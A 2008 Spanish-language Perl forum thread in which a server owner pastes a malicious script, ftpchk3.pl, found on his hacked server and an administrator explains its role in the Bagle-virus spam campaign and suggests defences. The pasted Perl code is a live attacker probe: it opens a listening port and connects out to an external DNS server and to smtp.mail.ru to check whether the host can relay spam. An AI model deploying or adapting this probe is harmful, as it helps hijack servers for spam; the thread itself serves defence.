• Publicidad

Hack con Perl

Así que programas sin strict y las expresiones regulares son otro modo de hablar. Aquí encontrarás respuestas de nivel avanzado, no recomendable para los débiles de corazón.

Hack con Perl

Notapor adrianrz » 2008-07-17 16:32 @731

Estimados foreros,

No quiero molestar con esta consulta pero no encuentro forma de bloquear el continuo hackeo a mi servidor.

Cada vez que entran encuentro un archivo en Perl de nombre ftpchk3.pl
y que contiene esto:

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
#!/usr/bin/perl -w

        $| = 1;

        my $smtp = 'smtp.mail.ru';
        my $dns = '208.67.222.222';

        print "Content-type: text/plain; charset=windows-1251\n\n" if $ENV{HTTP_USER_AGENT};

        #print "System info\n";
        #print "-----------\n\n";
        #print "$^O";
        #print "\n", `uname -a` if $^O !~ /win/i;
        #print "\n\n";

        #print "Perl modules\n";
        #print "------------\n\n";
        #print "strict .......................... ";
        unless (eval ("use strict; return 1;")) { print "Error"; } else { }
        #print "\nSys::Hostname ................... ";
        unless (eval ("use Sys::Hostname; return 1;")) { print "Error"; } else { }
        #print "\nPOSIX ........................... ";
        unless (eval ("use POSIX qw(setsid); return 1;")) { print "Error"; } else { }
        #print "\nErrno ........................... ";
        unless (eval ("use Errno qw(EINPROGRESS); return 1;")) { print "Error"; } else { }
        #print "\nIO::Socket ...................... ";
        unless (eval ("use IO::Socket qw(:DEFAULT :crlf); return 1;")) { print "Error"; } else { use IO::Socket qw(:DEFAULT :crlf); }
        #print "\nIO::Select ...................... ";
        unless (eval ("use IO::Select; return 1;")) { print "Error"; } else { }
        #print "\n\n";

        #print "Local server test\n";
        #print "-----------\n\n";
        my $s = IO::Socket::INET->new(Proto => "tcp", LocalPort => 36000, Listen => SOMAXCONN, Reuse => 1);
        unless ($s) { print "Error"; } else { close $s; }
        #print "\n\n";

        #print "DNS client test ($dns)\n";
        #print "-----------\n\n";
        my $r = (gethostbyname $dns)[4];
        unless ($r) { print "Error > Can't resolve DNS hostname"; exit; }
        $s = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
        unless ($s) { print "Error > Can't create socket > $!"; exit; }
        unless ($s->connect(pack ("Sna4x8", 2, 53, $r))) { close $s; print "Error > Can't connect > $!"; exit; }
        close $s; #print "Ok";
        #print "\n\n";

        #print "SMTP Client test ($smtp)\n";
        #print "-----------\n\n";
        $r = (gethostbyname $smtp)[4];
        unless ($r) { print "Error > Can't resolve SMTP hostname"; exit; }
        $s = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
        unless ($s) { print "Error > Can't create socket > $!"; exit; }
        unless ($s->connect(pack ("Sna4x8", 2, 25, $r))) { close $s; print "Error > Can't connect > $!"; exit; }
        $r = <$s>; close $s;
        if (length $r) { print "OK"; } else { print "Error > Can't read response"; }
Coloreado en 0.004 segundos, usando GeSHi 1.0.8.4


Como nunca programé en este lenguaje quisiera que me digan qué hace este archivo y hasta que punto es malicioso (por lo que veo parece que intenta enviar datos a una dirección de correo).

También si tienen experiencia de haber sufrido estos ataques y pueden decirme cómo bloquearlos, estaré muy agradecido.

He leído por ahí que estos archivos son parte del viejo virus Bagle pero no comentan nada más que eso.

Espero sus comentarios.

Cordiales saludos.

Adrián
adrianrz
Perlero nuevo
Perlero nuevo
 
Mensajes: 3
Registrado: 2008-07-17 16:19 @722

Publicidad

Notapor explorer » 2008-07-17 17:00 @750

Bienvenido a los foros de Perl en Español, adrianrz.

Efectivamente, ese fichero forma parte del ataque del virus Bagle.

El procedimiento, más o menos, es el siguiente:
1.- El virus Bagle llega e infecta el ordenador de los usuarios
2.- El virus transmite la información de URL, FTP, nombres de usuarios y contraseñas que tenga ese usuario
3.- Los spammers, con esa información, colocan esos programas e intentan ejecutar en los ordenadores indicados por esas URL
4.- Estos programas comprueban si el ordenador atacado es factible de enviar correo basura
5.- Si es así, los programas son borrados (se borran a sí mismos) para no dejar pistas
6.- Días más tarde, en los ordenadores atacados se dejan los ficheros necesarios para el envío masivo de correo

De resultas de esto, la red a la que pertenecen los ordenadores atacados entra a formar parte de las listas negras de correo. Y quedan entonces bloqueados para enviar más correos.

Hay varias soluciones, pero la básica sería que el usuario propietario del FTP atacado no tenga permiso de ejecución del /usr/bin/perl.

Bueno, lo más básico sería cerrar la entrada por el FTP, pero si los ficheros aparecen en los FTP de los usuarios, lo primero es avisarles de que están infectados con el virus.

Los ficheros se dejan por medio de FTP en la cuenta del usuario, y luego, intentan hacer que el servidor web lo ejecute como si fuera un cgi.

Quizás lo más efectivo sería sustituir el /usr/bin/perl por un 'wrapper' para comprobar el nombre del script a ejecutar. Y si no es uno de los malos, ejecutarlo.
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14480
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Notapor adrianrz » 2008-07-18 11:58 @540

Hola, Explorer,

Tengo una duda, cuando te refieres a

"El virus Bagle llega e infecta el ordenador de los usuarios"

¿Te refieres a mi ordenador donde tengo las credenciales ftp de los sitios por ej. en CuteFtp o hablas del servidor?

Gracias por tu tiempo.

Adrián

PD: recién veo que me ha puesto el sistema "Perlero nuevo" que buena frase...
adrianrz
Perlero nuevo
Perlero nuevo
 
Mensajes: 3
Registrado: 2008-07-17 16:19 @722

Notapor explorer » 2008-07-18 14:12 @633

Sí, el virus infecta el ordenador y mira a ver las URL y credenciales que haya en ese equipo. Y de ahí los spammers entran en esos otros equipos.

Esto me recuerda que, durante estas fechas, hacen 9 años que ya no sufro de estos temas.
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14480
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Notapor adrianrz » 2008-07-18 18:59 @833

Hola Explorer,

Solo agradecerte la gentileza que has tenido en responder.

Saludos

Adrián
adrianrz
Perlero nuevo
Perlero nuevo
 
Mensajes: 3
Registrado: 2008-07-17 16:19 @722


Volver a Avanzado

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 3 invitados